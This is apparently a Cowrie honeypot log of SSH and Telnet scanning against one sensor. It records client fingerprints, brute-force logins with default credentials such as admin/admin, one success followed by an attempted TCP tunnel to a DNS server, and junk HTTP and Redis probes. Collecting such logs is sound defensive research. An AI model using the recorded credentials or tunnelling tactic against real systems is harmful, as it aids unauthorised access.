{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":53330,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bcd4bfdc46","protocol":"telnet","message":"New connection: 34.62.208.180:53330 (159.203.135.109:23) [session: 20bcd4bfdc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:03.911076Z"}
{"eventid":"cowrie.session.closed","duration":2.628992795944214,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:06.225085Z","src_ip":"34.62.208.180","session":"30717122c88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":35508,"dst_ip":"159.203.135.109","dst_port":22,"session":"807d5c69613b","protocol":"ssh","message":"New connection: 222.167.161.198:35508 (159.203.135.109:22) [session: 807d5c69613b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:11.331269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:11.336471Z","src_ip":"222.167.161.198","session":"807d5c69613b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:11.600955Z","src_ip":"222.167.161.198","session":"807d5c69613b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@","message":"login attempt [testuser/testuser@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:12.691037Z","src_ip":"222.167.161.198","session":"807d5c69613b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.239.78","src_port":32494,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aa1abb02507","protocol":"ssh","message":"New connection: 34.140.239.78:32494 (10.17.0.5:22) [session: 0aa1abb02507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:12.926083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:12.977434Z","src_ip":"34.140.239.78","session":"0aa1abb02507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:13.067457Z","src_ip":"34.140.239.78","session":"0aa1abb02507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:13.073588Z","src_ip":"34.140.239.78","session":"0aa1abb02507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:13.963438Z","src_ip":"222.167.161.198","session":"807d5c69613b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":8074,"dst_ip":"159.203.135.109","dst_port":22,"session":"f46d0c853a36","protocol":"ssh","message":"New connection: 165.154.227.158:8074 (159.203.135.109:22) [session: f46d0c853a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:18.806454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:18.812076Z","src_ip":"165.154.227.158","session":"f46d0c853a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":42288,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e0f82dc4fc","protocol":"ssh","message":"New connection: 58.69.56.44:42288 (159.203.135.109:22) [session: 96e0f82dc4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:18.848347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:18.853909Z","src_ip":"58.69.56.44","session":"96e0f82dc4fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:19.089688Z","src_ip":"58.69.56.44","session":"96e0f82dc4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5482,"dst_ip":"10.17.0.5","dst_port":22,"session":"af4dd33212c6","protocol":"ssh","message":"New connection: 87.251.64.176:5482 (10.17.0.5:22) [session: af4dd33212c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:19.485439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:19.490241Z","src_ip":"87.251.64.176","session":"af4dd33212c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:19.586664Z","src_ip":"87.251.64.176","session":"af4dd33212c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:19.876891Z","src_ip":"87.251.64.176","session":"af4dd33212c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:19.976473Z","session":"af4dd33212c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"pass","message":"login attempt [test2/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:20.061795Z","src_ip":"58.69.56.44","session":"96e0f82dc4fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:20.074364Z","src_ip":"87.251.64.176","session":"af4dd33212c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:20.305616Z","src_ip":"87.251.64.176","session":"af4dd33212c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:21.299173Z","src_ip":"58.69.56.44","session":"96e0f82dc4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"50eab69b180e","protocol":"telnet","message":"New connection: 34.62.208.180:44498 (159.203.135.109:23) [session: 50eab69b180e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.068223Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.073436Z","src_ip":"34.62.208.180","session":"50eab69b180e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.077626Z","src_ip":"34.62.208.180","session":"50eab69b180e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09113383293151855,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.159240Z","src_ip":"34.62.208.180","session":"50eab69b180e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.278570890426636,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.189497Z","src_ip":"34.62.208.180","session":"20bcd4bfdc46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44506,"dst_ip":"159.203.135.109","dst_port":23,"session":"c94172cc0255","protocol":"telnet","message":"New connection: 34.62.208.180:44506 (159.203.135.109:23) [session: c94172cc0255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.233414Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44512,"dst_ip":"159.203.135.109","dst_port":23,"session":"8070addd338f","protocol":"telnet","message":"New connection: 34.62.208.180:44512 (159.203.135.109:23) [session: 8070addd338f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.388758Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44524,"dst_ip":"159.203.135.109","dst_port":23,"session":"521b2234e588","protocol":"telnet","message":"New connection: 34.62.208.180:44524 (159.203.135.109:23) [session: 521b2234e588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.542985Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44534,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb7266bd02d5","protocol":"telnet","message":"New connection: 34.62.208.180:44534 (159.203.135.109:23) [session: fb7266bd02d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.698254Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44546,"dst_ip":"159.203.135.109","dst_port":23,"session":"1df5f9e874fb","protocol":"telnet","message":"New connection: 34.62.208.180:44546 (159.203.135.109:23) [session: 1df5f9e874fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:23.854615Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44556,"dst_ip":"159.203.135.109","dst_port":23,"session":"677f545dbaa6","protocol":"telnet","message":"New connection: 34.62.208.180:44556 (159.203.135.109:23) [session: 677f545dbaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.009644Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44572,"dst_ip":"159.203.135.109","dst_port":23,"session":"d40d9cb460e3","protocol":"telnet","message":"New connection: 34.62.208.180:44572 (159.203.135.109:23) [session: d40d9cb460e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.166564Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44584,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a8425899da0","protocol":"telnet","message":"New connection: 34.62.208.180:44584 (159.203.135.109:23) [session: 2a8425899da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.321625Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44588,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6549f698343","protocol":"telnet","message":"New connection: 34.62.208.180:44588 (159.203.135.109:23) [session: f6549f698343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.476541Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44594,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a90df402a77","protocol":"telnet","message":"New connection: 34.62.208.180:44594 (159.203.135.109:23) [session: 6a90df402a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.706361Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44598,"dst_ip":"159.203.135.109","dst_port":23,"session":"253ee8550e2e","protocol":"telnet","message":"New connection: 34.62.208.180:44598 (159.203.135.109:23) [session: 253ee8550e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.862902Z"}
{"eventid":"cowrie.session.closed","duration":0.005277395248413086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:24.867998Z","src_ip":"34.62.208.180","session":"253ee8550e2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44608,"dst_ip":"159.203.135.109","dst_port":23,"session":"389d00077775","protocol":"telnet","message":"New connection: 34.62.208.180:44608 (159.203.135.109:23) [session: 389d00077775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.018639Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff5c27760e49","protocol":"telnet","message":"New connection: 34.62.208.180:44616 (159.203.135.109:23) [session: ff5c27760e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.174079Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a2d770c86d","protocol":"telnet","message":"New connection: 34.62.208.180:44624 (159.203.135.109:23) [session: a1a2d770c86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.332267Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44636,"dst_ip":"159.203.135.109","dst_port":23,"session":"0258af426975","protocol":"telnet","message":"New connection: 34.62.208.180:44636 (159.203.135.109:23) [session: 0258af426975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.491560Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":45068,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f123a3420a","protocol":"ssh","message":"New connection: 40.81.244.142:45068 (159.203.135.109:22) [session: e6f123a3420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.599188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.603584Z","src_ip":"40.81.244.142","session":"e6f123a3420a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44640,"dst_ip":"159.203.135.109","dst_port":23,"session":"148997b66853","protocol":"telnet","message":"New connection: 34.62.208.180:44640 (159.203.135.109:23) [session: 148997b66853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.645899Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44650,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e5b3dbce7e2","protocol":"telnet","message":"New connection: 34.62.208.180:44650 (159.203.135.109:23) [session: 1e5b3dbce7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.800541Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.805633Z","src_ip":"40.81.244.142","session":"e6f123a3420a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44666,"dst_ip":"159.203.135.109","dst_port":23,"session":"744ad8cd3e38","protocol":"telnet","message":"New connection: 34.62.208.180:44666 (159.203.135.109:23) [session: 744ad8cd3e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:25.955301Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44668,"dst_ip":"159.203.135.109","dst_port":23,"session":"88421b3d99b7","protocol":"telnet","message":"New connection: 34.62.208.180:44668 (159.203.135.109:23) [session: 88421b3d99b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.110865Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4655d38634c","protocol":"telnet","message":"New connection: 34.62.208.180:44680 (159.203.135.109:23) [session: f4655d38634c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.265834Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.273499Z","src_ip":"34.62.208.180","session":"f4655d38634c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44686,"dst_ip":"159.203.135.109","dst_port":23,"session":"86e71cb877b7","protocol":"telnet","message":"New connection: 34.62.208.180:44686 (159.203.135.109:23) [session: 86e71cb877b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.426686Z"}
